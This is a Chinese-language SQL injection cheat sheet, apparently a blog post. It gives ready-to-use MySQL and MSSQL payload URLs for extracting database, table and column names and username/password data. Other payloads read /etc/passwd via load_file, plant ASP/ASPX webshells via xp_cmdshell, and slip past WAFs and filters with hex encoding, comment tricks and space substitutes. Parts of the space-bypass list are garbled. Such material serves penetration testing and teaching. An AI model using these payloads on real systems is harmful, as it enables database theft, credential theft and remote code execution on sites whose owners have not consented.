SQL注入总结

分类

SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。

可显注入

攻击者可以直接在当前界面内容中获取想要获得的内容。

报错注入

数据库查询返回结果并没有在页面中显示,但是应用程序将数据库报错信息打印到了页面中,所以攻击者可以构造数据库报错语句,从报错信息中获取想要获得的内容。

盲注

数据库查询结果无法从直观页面中获取,攻击者通过使用数据库逻辑或使数据库库执行延时等方法获取想要获得的内容。

MySQL手工注入

判断注入点是否存在

数字型
url后输入

1
2
3
http://www.xxx.cn/list.php?page=4&id=524' 返回错误  
http://www.xxx.cn/list.php?page=4&id=524 and 1=1 返回正确
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 返回错误

注意:数字型注入最多出现在ASP/PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,而对于java或者c#这类强类型语言,如果试图把一个字符串转换成int类型,则会抛出异常,无法继续运行。

字符型
url后输入

1
2
3
http://www.xxx.cn/list.php?page=4&cid=x'              返回错误  
http://www.xxx.cn/list.php?page=4&cid=x' and 1=1 and '1'='1 返回正确
http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 and '1'='1 返回错误

搜索型
输入框中输入

1
2
3
'                        返回错误
x%' and 1=1 and '%'='    返回正确
x%' and 1=2 and '%'='    返回错误

判断字段数

数字型

1
2
http://www.xxx.cn/list.php?page=4&id=524 order by 17 返回正确
http://www.xxx.cn/list.php?page=4&id=524 order by 18 返回错误

得出结论:字段数17。

字符型

1
2
http://www.xxx.cn/list.php?page=4&cid=x' order by 17 #  返回正确
http://www.xxx.cn/list.php?page=4&cid=x' order by 18 #   返回错误

得出结论:字段数17。

搜索型

1
2
x%' order by 17 #     返回正确
x%' order by 18 # 返回错误

得出结论:字段数17。

寻找可显示字段

数字型

1
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,3,4,5,6,7,8,9,....

字符型

1
http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

搜索型

1
x%' and 1=2 union select 1,2,3,4,5,6,7,8,9,.... #

查数据库名

数字型

1
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,2,database(),4,5,6,7,8,9,....

字符型

1
http://www.xxx.cn/list.php?page=4&cid=x' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

搜索型

1
x%' and 1=2 union select 1,2,database(),4,5,6,7,8,9,.... #

查数据库中表名

数字型

1
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名'

数据库名也可以使用十六进制

字符型

1
2
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='数据库名' #
数据库名也可以使用十六进制

搜索型

1
小智%' and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,.... from information_schema.tables where table_schema='数据库名' #

数据库名也可以使用十六进制

查表中的列名

数字型

1
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名'

表名也可以使用十六进制

字符型

1
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='表名' #

表名也可以使用十六进制

搜索型

1
2
小智%' and 1=2 union select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name='表名' #
表名也可以使用十六进制

查表中的数据

数字型

1
http://www.xxx.cn/list.php?page=4&id=524 and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名

字符型

1
http://www.xxx.cn/list.php?page=4&id=x' and 1=2 union select 1,group_concat(username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from 表名 #

搜索型

1
x%' and 1=2 union select 1,2,group_concat(username,password),4,5,6,7,8,9,.... from 表名 #

1
2
3
4
5
6
7
8
9
10
显示版本:select version();
显示字符集:select @@character_set_database;
显示数据库show databases;
显示表名:show tables;
显示计算机名:select @@hostname;
显示系统版本:select @@version_compile_os;
显示mysql路径:select @@basedir;
显示数据库路径:select @@datadir;
显示root密码:select User,Password from mysql.user;
开启外连:GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

MySQL函数利用

MySQL提供了load_file()函数,可以帮助用户快速读取文件,但是文件位置必须在服务器上,文件路径必须为绝对路径,而且需要root权限,SQL语句如下:
union select 1,load_file(‘/etc/passwd’),3,4,5 #
通常,一些防注入语句不允许单引号的出现,那么可以使用一下语句绕过:
union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #
对路径进行16进制转换。

MSSQL手工注入

与MySQL注入不同的是,MySQL利用的爆出显示的字段,MSSQL利用的报错注入,插入恶意的sql语句,让查询报错,在报出的错误中,显示我们想要的信息。

注入点:

1
www.xxx.cn/xxx/xxx.aspx?id=1

查询数据库版本

@@version:MSSQL全局变量,表示数据库版本信息。

测试语句:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and @@version>0

注意:“and @@vsersion>0”也可以写成“and 0/@@version>0”
报错信息:
在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64) Aug 19 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-bit) on Windows NT 6.1 <X64 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。
原因:
@@version是MSSQL的全局变量,如果我们在“?id=1”后面加上“and @@version>0”,那么“and”后面的语句会将“@@version”强制抓换成int类型与0比较大小,但是类型转换失败,所以就将数据库信息暴露出来。

查询计算机名称

@@servername:MSSQL全局变量,表示计算机名称。
报错信息:
在将 nvarchar 值 ‘WINDOWS-XXXXXX‘ 转换成数据类型 int 时失败。

查询当前数据库名称

db_name():当前使用的数据库名称。
报错信息:
在将 nvarchar 值 ‘abc‘ 转换成数据类型 int 时失败。

查询当前连接数据库的用户

User_Name():当前连接数据库的用户。
报错信息:
在将 nvarchar 值 ‘dbo‘ 转换成数据类型 int 时失败。
注意:
如果看到dbo,那么多半当前数据库的用户是dba权限。

查询其他数据库名称

爆其他数据库:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0

报错信息:
在将 nvarchar 值 ‘master‘ 转换成数据类型 int 时失败。
再爆其他的数据库则这么写:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0

继续的话要这么写:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0

查询数据库中的表名

查表名:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0)>0

报错信息:
在将 nvarchar 值 ‘depart‘ 转换成数据类型 int 时失败。
再爆其他表:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart'))>0

在继续:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 name from abc.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0

查询表中的列名或者是字段名

查字段名:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0

报错信息:
在将 nvarchar 值 ‘ID‘ 转换成数据类型 int 时失败。
再爆其他字段:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID'))>0

再继续:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart' and COLUMN_NAME not in('ID','NAME'))>0

爆数据

查询数据:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 password from depart)>0

报错信息:
在将 nvarchar 值 ‘B5A1EF8730200F93E50F4F5DEBBCAC0B‘ 转换成数据类型 int 时失败。

写入一句话木马

如果数据的权限是dba,且知道网站路径的话,那么我们就可以用这个语句来写一句话木马进去:
asp木马:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>''" > d:\KfSite\kaifeng\2.asp'--

aspx木马:

1
http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:\inetpub\wwwroot\2.aspx' --

原理是sql server支持堆叠查询,利用xp_cmdshell可以执行cmd指令,cmd指令中用【echo 内容 > 文件】可以写文件到磁盘里面。

利用hex编码绕过WAF

http://www.xxx.com/xxx/xxx.aspx?username=xxx
利用火狐浏览器中的hackbar工具的Encoding底下的“HEX Encoding”轻松把字符串编码成为可以利用的hex,然后利用报错注入就可以注入这个网站。

爆数据库版本

select convert(int,@@version)
hex编码后:0x73656c65637420636f6e7665727428696e742c404076657273696f6e29
然后使用如下方式注入:
http://www.xxx.com/xxx/xxx.aspx?username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–
报错信息:
在将 nvarchar 值 ‘Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)‘ 转换成数据类型 int 时失败。
注意后面的注入语句:

1
2
3
dEcLaRe @s vArChAr(8000) //声明一个局部变量@s,类型为varchar(8000)
sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 //给@s赋值,为“select convert(int,@@version)”的十六进制编码
eXeC(@s) //调用函数exec()执行“@s”中的内容。

爆当前数据库

select convert(int,db_name())

爆当前用户

select convert(int,User_Name())

爆表

select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0))
select convert(int,(select top 1 name from abc[数据库名].sys.all_objects where type=’U’ AND is_ms_shipped=0 and name not in (‘CMS_ArticleClass’)))

爆字段

select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’))
select convert(int,(select top 1 COLUMN_NAME from abc[数据库名].information_schema.columns where TABLE_NAME=’CMS_Userinfo[表名]’ and COLUMN_NAME not in (‘id’)))

爆数据

select convert(int,(select top 1 username from CMS_Admin))
select convert(int,(select top 1 password from CMS_Admin))

SQL注入之你问我答小知识

1.id-1,页面如果返回正确页面说明是有注入,那+1可以吗?(www.test.com/xsn.php?id=12+1)
不行,因为加号在url里面是空格的意思。

2.你知道mysql里有几种注释方式吗?
三种:①.# 这个注释直到该行结束;②./注释多行/;③.–+ 这个注释直到该行结束。第三种需要解释一下,因为之前我不知道这个方法,说‘–’是注释符我还大概有印象,但是–+就懵。其实是– ,注意–的后面有一个空格。但是在url里你直接空格会被浏览器直接处理掉,就到不了数据库里。所以特意用加号代替。

3.“select select * from admin”可以执行吗?倘若不可以请说明。
不可以执行,在使用select双层的时候要把第二个括起来,否则无效。

4.倘若空格过滤了,你知道有哪些可以绕过吗?或者说你知道哪些可以替代空格吗?这些是空字符。比如un%0aion会被当做union来处理。
假如空格被过滤了,可能的sql语句就会变成:select from messages where uid=45or1=1,我们可以使用//来替换空格:
http://www.xxx.com/index.php?id=45/
/or/**/1=1
另外:
%09
%0A
%0D
+
/
|–|/
/
@–|/
/
?–|/
/|%20–%20|/
都可以替代空格。

5.Windows下的Oracle数据库是什么权限?
Windows下的Oracle数据库,必须以system权限运行。

6.SQL注入和SQL盲注有何差别?
在常规的SQL注入中,应用返回数据库中的数据并呈现给你,而在SQL盲注漏洞中,你只能获取分别与注入中的真假条件相对应的两个不同响应,应用会针对真假条件返回不同的值,但是攻击者无法检索查询结果。

7.什么是引发SQL注入漏洞的主要原因?
Web应用未对用户提供的数据进行充分审查和未对输出进行编码是产生问题的主要原因。

8.什么是堆叠查询(stacked query)?
在单个数据库连接中,执行多个查询序列,是否允许堆叠查询是影响能否利用SQL注入漏洞的重要因素之一。在MYSQL中,SELECT * FROM members; DROP members;是可以执行的,数据库是肯定支持堆叠查询的,但是让php来执行堆叠查询的sql语句就不一定行了。

9.

1
/*! ... */

是啥意思?
MYSQL数据库特有,如果在注释的开头部分添加一个感叹号并在后面跟上数据库版本编号,那么该注释将被解析成代码,只要数据库版本高于或者等于注释中包含的版本,代码就会被执行。

1
select 1 /*!40119 + 1*/

该查询结果:
返回2(MySQL版本为4.01.19或者更高)
返回1(其他情况)

10.如果注入语句中的‘=’被过滤?
可以考虑使用like关键字替换:union select password from users where username like admin;

11.如果空格被过滤?
可以考虑使用‘/**/’替换:

1
union/**/select/**/password/**/from/**/users/**/where/**/username/**/like/**/admin;

注意,如果过滤了关键字,在MySQL中,还可以在关键字内部使用内联注释来绕过:

1
uni/**/on/**/sel/**/ect/**/password/**/fr/**/om/**/users/**/wh/**/ere/**/username/**/like/**/admin;

12.SQL注入中的‘+’?
MSSQL:在MSSQL中,“+”运算符被用于字符串连接和加法运算,‘1’+‘1’=‘11’,1+1=2;
MySQL:在MySQL中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2;
Oracle:在Oracle中,“+”运算符只被用于加法运算,‘1’+‘1’=‘2’,1+1=2。

13.数据库中字符串的连接符?
MSSQL:‘a’+‘b’=‘ab’
MYSQL:‘a’ ‘b’=‘ab’
Oracle:‘a’||‘b’=‘ab’

14.注释符

1
2
3
4
MSSQL:‘-- ’(注意后面的空格),‘/*...*/’
MySQL:‘-- ’,‘# ’,‘/*...*/’,注意,--后面必须要有一个或者多个空格。
Oracle:‘-- ’,‘/*...*/’
三种数据库中,通用的注释符是‘-- ’